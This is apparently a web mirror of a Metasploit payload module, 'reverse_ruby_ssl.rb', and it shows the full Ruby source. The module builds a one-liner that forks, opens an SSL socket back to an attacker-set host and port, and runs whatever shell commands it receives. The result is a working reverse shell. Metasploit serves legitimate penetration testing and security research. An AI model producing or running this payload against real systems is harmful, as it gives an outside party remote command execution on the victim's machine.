Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 185910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',16'Description' => 'Connect back and create a command shell via Ruby, uses SSL',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpSsl,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26))27register_advanced_options(28[29OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])30]31)32end3334def generate(_opts = {})35vprint_good(command_string)36return super + command_string37end3839def command_string40lhost = datastore['LHOST']41lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)42res = "#{datastore['RubyPath']} -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"43res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"44res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"45return res46end47end484950